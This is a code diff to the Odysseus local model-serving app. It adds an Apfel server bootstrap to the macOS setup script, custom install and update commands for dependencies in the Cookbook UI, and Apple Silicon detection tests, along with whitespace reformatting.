# System dependencies (each installed only if missing, so re-runs stay fast and
@@ -98,40 +98,41 @@ done
# Install a Homebrew formula only if its command isn't already present. A failed
# install warns but does not abort — Cookbook can be set up later.
brew_ensure() {
if command -v "$1" >/dev/null 2>&1; then
echo "$2 already installed"
return 0
fi
echo " installing $2"
if ! brew install "$2"; then
echo " ⚠ Couldn't install $2 right now — Cookbook (local model serving) may be limited."
echo " You can install it later with: brew install $2"
fi
if command -v "$1" >/dev/null 2>&1; then
echo "$2 already installed"
return 0
fi
echo " installing $2"
if ! brew install "$2"; then
echo " ⚠ Couldn't install $2 right now — Cookbook (local model serving) may be limited."
echo " You can install it later with: brew install $2"
fi
}
echo "▶ Checking dependencies (Homebrew)…"
if [ -n "$PY" ]; then
echo " (using $("$PY" --version 2>&1) at $PY)"
echo " (using $("$PY" --version 2>&1) at $PY)"
else
echo " installing python@3.11…"
brew install python@3.11 || true
PY="$(command -v /opt/homebrew/bin/python3.11 || command -v python3.11 || true)"
echo " installing python@3.11…"
brew install python@3.11 || true
PY="$(command -v /opt/homebrew/bin/python3.11 || command -v python3.11 || true)"
fi
brew_ensure tmux tmux
brew_ensure llama-server llama.cpp
brew_ensure apfel apfel
if [ -z "$PY" ] || [ ! -x "$PY" ]; then
echo "✗ Couldn't find a Python 3.11+ to build the environment with."
echo " Check: ls /opt/homebrew/bin/python3* (or install one: brew install python@3.11)"
exit 1
echo "✗ Couldn't find a Python 3.11+ to build the environment with."
echo " Check: ls /opt/homebrew/bin/python3* (or install one: brew install python@3.11)"
exit 1
fi
# 3. Python environment + dependencies (kept inside the repo, in venv/).
# Named `venv` to match the manual steps and build-macos-app.sh, so the
# clickable .app reuses this same environment.
if [ ! -d venv ]; then
echo "▶ Creating Python environment…"
"$PY" -m venv venv
echo "▶ Creating Python environment…"
"$PY" -m venv venv
fi
VENV_PY="./venv/bin/python3"
REQ_HASH="$(md5 -q requirements.txt 2>/dev/null || md5sum requirements.txt | cut -d' ' -f1)"
@@ -150,9 +151,9 @@ fi
# it got installed (e.g., from an older requirements-optional.txt), remove
# it to prevent ChromaDB from silently failing in HTTP-only mode.
if "$VENV_PY" -m pip show chromadb-client >/dev/null 2>&1; then
echo "▶ Cleaning up conflicting chromadb-client package…"
"$VENV_PY" -m pip uninstall -y chromadb-client
"$VENV_PY" -m pip install --force-reinstall chromadb
echo "▶ Cleaning up conflicting chromadb-client package…"
"$VENV_PY" -m pip uninstall -y chromadb-client
"$VENV_PY" -m pip install --force-reinstall chromadb
fi
# 4. First-run setup: creates data dirs and prints an initial admin password
@@ -161,19 +162,39 @@ fi
echo "▶ Preparing Odysseus…"
ODYSSEUS_SKIP_RUN_HINT=1 ./venv/bin/python setup.py
# Local provider bootstrap.
# On Apple Silicon macOS, Apfel is treated as a sibling local model server
# to Ollama: if Homebrew has it installed, we start its OpenAI-compatible
# server on the port next to Ollama, since the default port is 11434 and that's busy (because of ollama).
MACHINE_ARCH="$(uname -m)"
APFEL_PID=""
if [ "$MACHINE_ARCH" = "arm64" ]; then
if command -v apfel >/dev/null 2>&1; then
APFEL_LOG="${TMPDIR:-/tmp}/odysseus-apfel.log"
echo "▶ Starting Apfel server in the background on port 11435…"
echo " logging to $APFEL_LOG"
nohup apfel --serve --port 11435 >"$APFEL_LOG" 2>&1 &
APFEL_PID=$!
else
echo "▶ Apfel is not installed (brew formula missing); skipping Apfel server bootstrap."
fi
else
echo "▶ Non-ARM macOS detected; skipping Apfel server bootstrap."
fi
# 5. Launch. Bind to loopback by default; opt into LAN/Tailscale with
# ODYSSEUS_HOST=0.0.0.0.
URL_HOST="$HOST"
if [ "$URL_HOST" = "0.0.0.0" ] || [ "$URL_HOST" = "::" ]; then
URL_HOST="127.0.0.1"
URL_HOST="127.0.0.1"
fi
URL="http://$URL_HOST:$PORT"
TAILSCALE_URL=""
if [ "$HOST" = "0.0.0.0" ] && command -v tailscale >/dev/null 2>&1; then
TS_IP="$(tailscale ip -4 2>/dev/null | head -n 1 || true)"
if [ -n "$TS_IP" ]; then
TAILSCALE_URL="http://$TS_IP:$PORT"
fi
TS_IP="$(tailscale ip -4 2>/dev/null | head -n 1 || true)"
if [ -n "$TS_IP" ]; then
TAILSCALE_URL="http://$TS_IP:$PORT"
fi
fi
# Open the browser automatically once the server is accepting connections — so
@@ -182,33 +203,33 @@ fi
# ODYSSEUS_NO_OPEN=1 (e.g. over SSH / headless).
POLLER_PID=""
if [ -z "$ODYSSEUS_NO_OPEN" ] && command -v open >/dev/null 2>&1; then
(
for _ in $(seq 1 90); do
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
printf '\n'
printf ' ┌────────────────────────────────────────────┐\n'
printf ' │ ✓ Odysseus is ready — opening your browser │\n'
printf ' │ %-40s │\n' "$URL"
printf ' │ (Press Ctrl+C in this window to stop) │\n'
printf ' └────────────────────────────────────────────┘\n\n'
open "$URL"
break
fi
sleep 1
done
) &
POLLER_PID=$!
(
for _ in $(seq 1 90); do
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
printf '\n'
printf ' ┌────────────────────────────────────────────┐\n'
printf ' │ ✓ Odysseus is ready — opening your browser │\n'
printf ' │ %-40s │\n' "$URL"
printf ' │ (Press Ctrl+C in this window to stop) │\n'
printf ' └────────────────────────────────────────────┘\n\n'
open "$URL"
break
fi
sleep 1
done
) &
POLLER_PID=$!
fi
# Setup is done — drop the setup-failure handler, and clean up the background
# opener when the server exits or the user presses Ctrl+C.
trap - ERR
trap '[ -n "$POLLER_PID" ] && kill "$POLLER_PID" 2>/dev/null' EXIT INT TERM
trap '[ -n "$POLLER_PID" ] && kill "$POLLER_PID" 2>/dev/null; [ -n "$APFEL_PID" ] && kill "$APFEL_PID" 2>/dev/null' EXIT INT TERM
echo
echo "▶ Starting Odysseus — it will open in your browser at $URL"
if [ -n "$TAILSCALE_URL" ]; then
echo " Tailscale/LAN URL: $TAILSCALE_URL"
echo " Tailscale/LAN URL: $TAILSCALE_URL"
fi
echo " (this takes a few seconds; press Ctrl+C here to stop)"
echo
+132 -91
View File
@@ -89,8 +89,8 @@ function _setCookbookOpening(on) {
].filter(Boolean);
if (!on) {
_cookbookOpeningSpinners.forEach(({ spinner, wrap, target }) => {
try { spinner?.stop?.(); } catch {}
try { wrap?.remove?.(); } catch {}
try { spinner?.stop?.(); } catch { }
try { wrap?.remove?.(); } catch { }
target?.classList?.remove('cookbook-opening');
});
_cookbookOpeningSpinners = [];
@@ -595,7 +595,7 @@ function _fallbackCopy(text) {
ta.style.cssText = 'position:fixed;left:-9999px;top:-9999px';
document.body.appendChild(ta);
ta.select();
try { document.execCommand('copy'); } catch (_) {}
try { document.execCommand('copy'); } catch (_) { }
document.body.removeChild(ta);
return Promise.resolve();
}
@@ -628,7 +628,7 @@ function _readStoredEnvState() {
export function _persistEnvState() {
try { localStorage.setItem(LAST_STATE_KEY, JSON.stringify(_envStateForStorage())); }
catch (_) {}
catch (_) { }
_saveTasks(_loadTasks());
}
@@ -681,18 +681,20 @@ async function _fetchDependencies() {
const _statusTag = (pkg, isLocal, isSystemDep, winBlocked) => {
if (winBlocked) return `<span class="cookbook-dep-tag cookbook-dep-na">N/A</span>`;
if (pkg.installed && isSystemDep) return `<span class="cookbook-dep-tag cookbook-dep-installed" title="Found on selected server">Installed</span>`;
if (pkg.installed && pkg.pip_update_available === false) {
const hasCustomInstall = !!pkg.install_cmd;
const hasCustomUpdate = !!pkg.update_cmd;
if (pkg.installed && isSystemDep && !hasCustomUpdate) return `<span class="cookbook-dep-tag cookbook-dep-installed" title="Found on selected server">Installed</span>`;
if (pkg.installed && pkg.pip_update_available === false && !hasCustomUpdate) {
const tip = esc(pkg.update_note || pkg.status_note || 'Found externally; update outside Odysseus.');
return `<span class="cookbook-dep-tag cookbook-dep-installed" title="${tip}">Installed</span>`;
}
if (pkg.installed) return `<button class="cookbook-dep-tag cookbook-dep-installed cookbook-dep-installed-btn" title="Installed — click for actions"><span class="cookbook-dep-installed-label">Installed</span><span class="cookbook-dep-caret">&#9662;</span></button>`;
if (isSystemDep) {
if (isSystemDep && !hasCustomInstall) {
const depTip = esc(pkg.install_hint || 'Install this OS package on the selected server.');
const depLabel = pkg.applicable === false ? 'N/A ?' : 'Missing';
return `<span class="cookbook-dep-tag cookbook-dep-na" title="${depTip}">${depLabel}</span>`;
}
return `<button class="cookbook-dep-tag cookbook-dep-install" data-dep-pip="${esc(pkg.pip)}" data-dep-target="${isLocal ? 'local' : 'remote'}">Install</button>`;
return `<button class="cookbook-dep-tag cookbook-dep-install" data-dep-pip="${esc(pkg.pip || '')}" data-dep-install-cmd="${esc(pkg.install_cmd || '')}" data-dep-update-cmd="${esc(pkg.update_cmd || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}">Install</button>`;
};
const _depRow = (pkg) => {
@@ -715,7 +717,7 @@ async function _fetchDependencies() {
} else if (pkg.name === 'sglang' && pkg.installed) {
_rebuildBtn = `<button type="button" class="cookbook-dep-tag cookbook-dep-rebuild cookbook-dep-reinstall" data-reinstall-pkg="sglang" title="Force-reinstall SGLang (pulls a matching torch). Runs as a tmux task in the Running tab.">Reinstall</button>`;
}
return `<div class="cookbook-dep-row${winBlocked ? ' cookbook-dep-blocked' : ''}" data-pkg-name="${esc(pkg.name)}" data-dep-pip="${esc(pkg.pip || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}" data-dep-kind="${esc(pkg.kind || 'python')}">`
return `<div class="cookbook-dep-row${winBlocked ? ' cookbook-dep-blocked' : ''}" data-pkg-name="${esc(pkg.name)}" data-dep-pip="${esc(pkg.pip || '')}" data-dep-install-cmd="${esc(pkg.install_cmd || '')}" data-dep-update-cmd="${esc(pkg.update_cmd || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}" data-dep-kind="${esc(pkg.kind || 'python')}">`
+ `<div class="cookbook-dep-info">`
+ `<div class="memory-item-title">${esc(pkg.name)}</div>`
+ `<div class="memory-item-meta" style="font-size:10px;opacity:0.5;margin-top:2px;">${esc(pkg.desc)}</div>`
@@ -745,7 +747,7 @@ async function _fetchDependencies() {
// Shared install/update routine — used by the Install button and the
// "Update" item in an installed package's ⋮ menu. `upgrade` adds pip -U;
// `statusEl`, when given, shows "Installing…/Updating…" and is disabled.
async function _installDep(pipName, pkgName, isLocalOnly, upgrade, statusEl) {
async function _installDep(pipName, pkgName, isLocalOnly, upgrade, statusEl, actionCmd = '') {
if (isLocalOnly) {
_envState.remoteHost = '';
_envState.env = 'none';
@@ -790,6 +792,43 @@ async function _fetchDependencies() {
envPrefix = 'eval "$(conda shell.bash hook)" && conda activate ' + _shellQuote(_envState.envPath);
}
}
if (actionCmd) {
const shellCmd = envPrefix ? `${envPrefix} ${actionCmd}` : actionCmd;
const fullCmd = (!isLocalOnly && _envState.remoteHost)
? _sshCmd(_envState.remoteHost, shellCmd, _getPort(_envState.remoteHost))
: shellCmd;
try {
if (statusEl) { statusEl.textContent = upgrade ? 'Updating...' : 'Installing...'; statusEl.disabled = true; }
const res = await fetch('/api/shell/stream', {
method: 'POST', credentials: 'same-origin',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ command: fullCmd }),
});
uiModule.showToast(`${upgrade ? 'Updating' : 'Installing'} ${pkgName} on ${targetHost}...`);
const body = await res.text();
if (!res.ok) throw new Error(`HTTP ${res.status}`);
const exitMatches = [...body.matchAll(/"exit_code":\s*(-?\d+)/g)].map(m => Number(m[1]));
const exitCode = exitMatches.length ? exitMatches[exitMatches.length - 1] : 0;
if (exitCode !== 0) {
throw new Error((body.slice(-500).trim() || `${pkgName} command failed`) + ` (exit ${exitCode})`);
}
if (upgrade) { uiModule.showToast(`Successfully updated ${pkgName} on ${targetHost}.`); } else { uiModule.showToast(`Successfully installed ${pkgName} on ${targetHost}.`); }
await _fetchDependencies();
return;
} catch (err) {
if (statusEl) { statusEl.textContent = 'Install'; statusEl.disabled = false; }
uiModule.showToast(`${upgrade ? 'Update' : 'Install'} failed: ` + err.message);
return;
}
}
// Always go through `python -m pip` so the leading token is `python`
// — matches the /api/model/serve allow-list (bare `pip` is blocked).
// Inside a venv/conda env, `--user` is invalid (pip refuses), so we
// only add `--user --break-system-packages` when there's no env —
// for PEP-668-locked system pythons (Arch, newer Debian).
try {
const reqBody = {
repo_id: pipName,
@@ -828,8 +867,9 @@ async function _fetchDependencies() {
btn.addEventListener('click', async (e) => {
e.stopPropagation();
const pipName = btn.dataset.depPip;
const installCmd = btn.dataset.depInstallCmd || '';
const pkgName = btn.closest('.cookbook-dep-row')?.querySelector('.memory-item-title')?.textContent || pipName;
await _installDep(pipName, pkgName, btn.dataset.depTarget === 'local', !!btn.dataset.upgrade, btn);
await _installDep(pipName, pkgName, btn.dataset.depTarget === 'local', !!btn.dataset.upgrade, btn, installCmd);
});
});
@@ -852,11 +892,12 @@ async function _fetchDependencies() {
const it = document.createElement('div');
it.className = 'dropdown-item-compact';
it.innerHTML = `<span class="dropdown-icon">${upIco}</span><span>Update</span>`;
it.title = `Update ${pkgName} to the latest version (pip install -U)`;
it.title = row.dataset.depUpdateCmd ? `Update ${pkgName} using its custom command` : `Update ${pkgName} to the latest version (pip install -U)`;
it.addEventListener('click', async (e) => {
e.stopPropagation();
dropdown.remove();
await _installDep(pipName, pkgName, isLocalOnly, true, null);
const updateCmd = row.dataset.depUpdateCmd || '';
await _installDep(pipName, pkgName, isLocalOnly, true, null, updateCmd);
});
dropdown.appendChild(it);
document.body.appendChild(dropdown);
@@ -954,7 +995,7 @@ function _wireTabEvents(body) {
// Ignore swipes that start in a horizontally-scrollable tag row — those
// should scroll the chips, not flip the tab.
if (window.innerWidth > 768 || e.touches.length !== 1
|| e.target.closest('input, textarea, select, .doclib-lang-chips')) { _sx = null; return; }
|| e.target.closest('input, textarea, select, .doclib-lang-chips')) { _sx = null; return; }
_sx = e.touches[0].clientX; _sy = e.touches[0].clientY;
}, { passive: true });
body.addEventListener('touchend', (e) => {
@@ -1353,7 +1394,7 @@ function _wireTabEvents(body) {
// the section is collapsed (the body's content normally provides
// separation; with no body visible, the line gives the h2 definition).
dlFold.classList.toggle('is-folded', !folded);
try { localStorage.setItem('cookbook_dl_tab_folded_v1', folded ? '0' : '1'); } catch {}
try { localStorage.setItem('cookbook_dl_tab_folded_v1', folded ? '0' : '1'); } catch { }
});
}
const hfToggle = document.getElementById('cookbook-hf-latest-toggle');
@@ -1399,7 +1440,7 @@ function _wireTabEvents(body) {
_hwCache[cacheKey] = hw;
return hw;
}
} catch {}
} catch { }
_hwCache[cacheKey] = { vram: 0, backend: '' };
return _hwCache[cacheKey];
}
@@ -1524,7 +1565,7 @@ function _wireTabEvents(body) {
hfInput.addEventListener('change', async () => {
const val = hfInput.value.trim();
_envState.hfToken = val;
try { await _persistEnvState(); } catch {}
try { await _persistEnvState(); } catch { }
if (val) {
_envState.hfTokenConfigured = true;
const masked = val.length > 6 ? val.slice(0, 3) + '…' + val.slice(-3) : '••••';
@@ -1724,7 +1765,7 @@ function _renderRecipes() {
html += '<option value="general" selected>Standard</option><option value="coding">Coding</option>';
html += '<option value="reasoning">Reasoning</option><option value="chat">Chat</option>';
// Image tab removed — text→image gen is gone from this build (only inpaint
// remains, which uses its own settings panel). Vision (multimodal) stays.
// remains, which uses its own settings panel). Vision (multimodal) stays.
html += '<option value="multimodal">Vision</option></select>';
// Engine sits next to the type filter so the "what category / which serving
// path" filters live together; Quant + Context are storage-format and budget
@@ -1790,12 +1831,12 @@ function _renderRecipes() {
// to the curated model list. Sits below the list so it reads as a callout
// after browsing, not a header.
html += '<div class="hwfit-list-footer" style="margin-top:8px;padding-top:6px;border-top:1px solid color-mix(in srgb, var(--border) 50%, transparent);font-size:9.5px;opacity:0.65;text-align:right;">'
+ 'Don\'t see a model? '
+ '<a href="https://github.com/pewdiepie-archdaemon/odysseus/discussions/1962" target="_blank" rel="noopener" style="color:var(--accent,var(--red));text-decoration:none;display:inline-flex;align-items:center;gap:4px;vertical-align:middle;">'
+ 'Request it →'
+ '<svg width="11" height="11" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true" style="flex-shrink:0;"><path d="M8 0C3.58 0 0 3.58 0 8a8 8 0 0 0 5.47 7.59c.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>'
+ '</a>'
+ '</div>';
+ 'Don\'t see a model? '
+ '<a href="https://github.com/pewdiepie-archdaemon/odysseus/discussions/1962" target="_blank" rel="noopener" style="color:var(--accent,var(--red));text-decoration:none;display:inline-flex;align-items:center;gap:4px;vertical-align:middle;">'
+ 'Request it →'
+ '<svg width="11" height="11" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true" style="flex-shrink:0;"><path d="M8 0C3.58 0 0 3.58 0 8a8 8 0 0 0 5.47 7.59c.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>'
+ '</a>'
+ '</div>';
html += '</div></div>';
@@ -1883,7 +1924,7 @@ function _renderRecipes() {
html += '<div style="display:flex;align-items:baseline;gap:8px;margin-bottom:2px;margin-top:-4px;">';
html += '<h2 style="margin:0;padding:0;line-height:1;">Servers</h2>';
// Reuse the calendar +New pill: spinning plus, label fades in idea uses
// the same `.cal-add-btn-text` rules, so styling stays consistent.
// the same `.cal-add-btn-text` rules, so styling stays consistent.
html += '<button class="cal-add-btn cal-add-btn-text" id="cookbook-server-add" title="Add server" style="margin-left:auto;"><span class="cal-add-plus">+</span><span class="cal-add-label">Add</span></button>';
html += '</div>';
html += '<p class="memory-desc doclib-desc">Configure SSH servers, install Odysseus keys, choose model directories, and set the default server. Local is this machine.</p>';
@@ -1979,73 +2020,73 @@ export async function open(opts) {
}
_setCookbookOpening(true);
try {
// Invalidate any pending close() animation handlers so they won't re-hide us
_closeGen++;
// Clear any leftover inline styles from a previous swipe-dismiss or close animation
const _content = modal.querySelector('.modal-content');
if (_content) {
_content.classList.remove('modal-closing', 'sheet-ready', 'cookbook-modal-entering');
_content.style.transform = '';
_content.style.transition = '';
_content.style.animation = '';
_content.style.opacity = '';
}
modal.style.display = '';
Modals.register('cookbook-modal', {
railBtnId: 'rail-cookbook',
sidebarBtnId: 'tool-cookbook-btn',
closeFn: () => _doClose(),
restoreFn: () => { _renderRunningTab(); },
});
_wireCookbookDrag(modal);
await _syncFromServer();
// `_syncFromServer` lives in cookbookRunning.js and populates *its* _envState
// (a different object reference than this module's), then mirrors the merged
// state to localStorage. So ALWAYS hydrate our _envState from that mirror —
// on a successful sync it holds the freshly-fetched servers; on failure it
// holds the last-known state. Gating this on `!synced` left the render's
// _envState empty whenever sync succeeded → "servers don't show".
try { Object.assign(_envState, _readStoredEnvState()); } catch {}
// Honour a user-set default server: always land on it when Cookbook opens, so
// every dropdown (scan/download/serve/cache/deps) starts on the same machine.
if (_envState.defaultServer) {
const _dk = _envState.defaultServer;
if (_dk === 'local') {
_envState.remoteHost = ''; _envState.env = 'none'; _envState.envPath = ''; _envState.platform = '';
} else {
const _ds = (_envState.servers || []).find(s => s.host === _dk);
if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env || 'none'; _envState.envPath = _ds.envPath || ''; _envState.platform = _ds.platform || ''; }
// Invalidate any pending close() animation handlers so they won't re-hide us
_closeGen++;
// Clear any leftover inline styles from a previous swipe-dismiss or close animation
const _content = modal.querySelector('.modal-content');
if (_content) {
_content.classList.remove('modal-closing', 'sheet-ready', 'cookbook-modal-entering');
_content.style.transform = '';
_content.style.transition = '';
_content.style.animation = '';
_content.style.opacity = '';
}
}
// Re-render on every open AFTER sync so the freshly-fetched state (servers,
// HF token, presets) is always reflected. Gating this to once-per-page used
// to freeze a stale/empty servers list whenever the first sync raced or
// returned before hydration — and since close/reopen doesn't reset the page,
// only a full reload recovered it. Re-rendering is cheap and the in-progress
// Running tab is rendered separately just below.
_renderRecipes();
_rendered = true;
_clearCookbookNotif();
_renderRunningTab();
// Self-heal: revive any download tasks whose tmux session is still alive
// but were persisted as done/error (covers the "restarted server while a
// big multi-shard download was in flight" case — the task survived in
// tmux, the cookbook just lost track of it).
try { _selfHealStaleTasks({ oneShot: true }); } catch {}
if (_content) {
// Put the panel in its entering state before it becomes visible. On
// mobile, showing first and adding the class a frame later can paint the
// sheet at its final position, which makes the slide-up look like a snap.
_content.classList.add('cookbook-modal-entering');
}
modal.classList.remove('hidden');
if (_content) {
void _content.offsetWidth;
_content.addEventListener('animationend', () => {
_content.classList.remove('cookbook-modal-entering');
}, { once: true });
}
setTimeout(_applyIntent, 0);
modal.style.display = '';
Modals.register('cookbook-modal', {
railBtnId: 'rail-cookbook',
sidebarBtnId: 'tool-cookbook-btn',
closeFn: () => _doClose(),
restoreFn: () => { _renderRunningTab(); },
});
_wireCookbookDrag(modal);
await _syncFromServer();
// `_syncFromServer` lives in cookbookRunning.js and populates *its* _envState
// (a different object reference than this module's), then mirrors the merged
// state to localStorage. So ALWAYS hydrate our _envState from that mirror —
// on a successful sync it holds the freshly-fetched servers; on failure it
// holds the last-known state. Gating this on `!synced` left the render's
// _envState empty whenever sync succeeded → "servers don't show".
try { Object.assign(_envState, _readStoredEnvState()); } catch { }
// Honour a user-set default server: always land on it when Cookbook opens, so
// every dropdown (scan/download/serve/cache/deps) starts on the same machine.
if (_envState.defaultServer) {
const _dk = _envState.defaultServer;
if (_dk === 'local') {
_envState.remoteHost = ''; _envState.env = 'none'; _envState.envPath = ''; _envState.platform = '';
} else {
const _ds = (_envState.servers || []).find(s => s.host === _dk);
if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env || 'none'; _envState.envPath = _ds.envPath || ''; _envState.platform = _ds.platform || ''; }
}
}
// Re-render on every open AFTER sync so the freshly-fetched state (servers,
// HF token, presets) is always reflected. Gating this to once-per-page used
// to freeze a stale/empty servers list whenever the first sync raced or
// returned before hydration — and since close/reopen doesn't reset the page,
// only a full reload recovered it. Re-rendering is cheap and the in-progress
// Running tab is rendered separately just below.
_renderRecipes();
_rendered = true;
_clearCookbookNotif();
_renderRunningTab();
// Self-heal: revive any download tasks whose tmux session is still alive
// but were persisted as done/error (covers the "restarted server while a
// big multi-shard download was in flight" case — the task survived in
// tmux, the cookbook just lost track of it).
try { _selfHealStaleTasks({ oneShot: true }); } catch { }
if (_content) {
// Put the panel in its entering state before it becomes visible. On
// mobile, showing first and adding the class a frame later can paint the
// sheet at its final position, which makes the slide-up look like a snap.
_content.classList.add('cookbook-modal-entering');
}
modal.classList.remove('hidden');
if (_content) {
void _content.offsetWidth;
_content.addEventListener('animationend', () => {
_content.classList.remove('cookbook-modal-entering');
}, { once: true });
}
setTimeout(_applyIntent, 0);
} finally {
_setCookbookOpening(false);
}
+131 -34
View File
@@ -1,6 +1,7 @@
"""Tests for shell_routes.py helpers."""
import builtins
import importlib
import importlib.util
import json
import os
@@ -39,7 +40,9 @@ def test_shell_routes_import_without_posix_pty_modules(monkeypatch):
cached_modules = {name: sys.modules.pop(name, None) for name in ("fcntl", "pty")}
module_path = Path(__file__).resolve().parents[1] / "routes" / "shell_routes.py"
spec = importlib.util.spec_from_file_location("_shell_routes_without_pty", module_path)
spec = importlib.util.spec_from_file_location(
"_shell_routes_without_pty", module_path
)
module = importlib.util.module_from_spec(spec)
sys.modules[spec.name] = module
try:
@@ -59,7 +62,9 @@ async def test_generate_pty_reports_explicit_unsupported_error(monkeypatch):
import routes.shell_routes as shell_routes
monkeypatch.setattr(shell_routes, "PTY_SUPPORTED", False)
monkeypatch.setattr(shell_routes, "_PTY_IMPORT_ERROR", ImportError("No module named 'termios'"))
monkeypatch.setattr(
shell_routes, "_PTY_IMPORT_ERROR", ImportError("No module named 'termios'")
)
request = SimpleNamespace(is_disconnected=lambda: False)
events = [
@@ -123,29 +128,76 @@ class TestRunningInContainer:
def test_dockerenv_marker_present(self, tmp_path):
marker = tmp_path / ".dockerenv"
marker.write_text("")
assert _running_in_container(
dockerenv_path=str(marker), cgroup_path=str(tmp_path / "missing"),
) is True
assert (
_running_in_container(
dockerenv_path=str(marker),
cgroup_path=str(tmp_path / "missing"),
)
is True
)
def test_cgroup_names_a_container_runtime(self, tmp_path):
cgroup = tmp_path / "cgroup"
cgroup.write_text("12:devices:/docker/abcdef0123456789\n")
assert _running_in_container(
dockerenv_path=str(tmp_path / "no-marker"), cgroup_path=str(cgroup),
) is True
assert (
_running_in_container(
dockerenv_path=str(tmp_path / "no-marker"),
cgroup_path=str(cgroup),
)
is True
)
def test_bare_host_has_neither_signal(self, tmp_path):
cgroup = tmp_path / "cgroup"
cgroup.write_text("0::/user.slice/session-1.scope\n")
assert _running_in_container(
dockerenv_path=str(tmp_path / "no-marker"), cgroup_path=str(cgroup),
) is False
assert (
_running_in_container(
dockerenv_path=str(tmp_path / "no-marker"),
cgroup_path=str(cgroup),
)
is False
)
def test_missing_cgroup_file_is_not_a_container(self, tmp_path):
assert _running_in_container(
dockerenv_path=str(tmp_path / "no-marker"),
cgroup_path=str(tmp_path / "also-missing"),
) is False
assert (
_running_in_container(
dockerenv_path=str(tmp_path / "no-marker"),
cgroup_path=str(tmp_path / "also-missing"),
)
is False
)
class TestAppleSiliconDetection:
"""APFEL should only surface as available on native Apple Silicon Macs."""
def test_reports_true_on_macos_arm64(self, monkeypatch):
import core.platform_compat as platform_compat
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Darwin")
monkeypatch.setattr(platform_compat.platform, "machine", lambda: "arm64")
importlib.reload(platform_compat)
assert platform_compat.IS_APPLE_SILICON is True
@pytest.mark.parametrize("machine", ["x86_64", "amd64"])
def test_reports_false_off_apple_silicon(self, monkeypatch, machine):
import core.platform_compat as platform_compat
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Darwin")
monkeypatch.setattr(platform_compat.platform, "machine", lambda: machine)
importlib.reload(platform_compat)
assert platform_compat.IS_APPLE_SILICON is False
def test_reports_false_on_non_macos(self, monkeypatch):
import core.platform_compat as platform_compat
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Linux")
monkeypatch.setattr(platform_compat.platform, "machine", lambda: "arm64")
importlib.reload(platform_compat)
assert platform_compat.IS_APPLE_SILICON is False
class TestDockerRowStatus:
@@ -155,35 +207,50 @@ class TestDockerRowStatus:
def test_in_container_and_absent_is_not_applicable_with_safe_default_hint(self):
status = _docker_row_status(
on_remote=False, in_container=True, installed=False, default_hint=self.DEFAULT,
on_remote=False,
in_container=True,
installed=False,
default_hint=self.DEFAULT,
)
assert status.applicable is False
assert status.install_hint == DOCKER_IN_CONTAINER_HINT
def test_in_container_but_present_is_applicable_with_default_hint(self):
status = _docker_row_status(
on_remote=False, in_container=True, installed=True, default_hint=self.DEFAULT,
on_remote=False,
in_container=True,
installed=True,
default_hint=self.DEFAULT,
)
assert status.applicable is True
assert status.install_hint == self.DEFAULT
def test_on_host_and_absent_stays_applicable_with_default_hint(self):
status = _docker_row_status(
on_remote=False, in_container=False, installed=False, default_hint=self.DEFAULT,
on_remote=False,
in_container=False,
installed=False,
default_hint=self.DEFAULT,
)
assert status.applicable is True
assert status.install_hint == self.DEFAULT
def test_remote_server_is_always_applicable_even_when_absent(self):
status = _docker_row_status(
on_remote=True, in_container=False, installed=False, default_hint=self.DEFAULT,
on_remote=True,
in_container=False,
installed=False,
default_hint=self.DEFAULT,
)
assert status.applicable is True
assert status.install_hint == self.DEFAULT
def test_remote_server_ignores_local_container_status(self):
status = _docker_row_status(
on_remote=True, in_container=True, installed=False, default_hint=self.DEFAULT,
on_remote=True,
in_container=True,
installed=False,
default_hint=self.DEFAULT,
)
assert status.applicable is True
assert status.install_hint == self.DEFAULT
@@ -226,7 +293,10 @@ class TestPackageProbeStatus:
assert _package_installed_from_probe("vllm", probe) is True
assert "python package: vllm 0.8.5" in _package_status_note("vllm", probe)
assert _package_pip_update_status({"name": "vllm", "pip": "vllm"}, probe).available is True
assert (
_package_pip_update_status({"name": "vllm", "pip": "vllm"}, probe).available
is True
)
def test_vllm_cli_without_dist_is_external_for_update(self):
probe = {
@@ -250,18 +320,35 @@ class TestPackageProbeStatus:
assert _package_installed_from_probe("llama_cpp", probe) is True
assert "native llama-server" in _package_status_note("llama_cpp", probe)
status = _package_pip_update_status({"name": "llama_cpp", "pip": "llama-cpp-python[server]"}, probe)
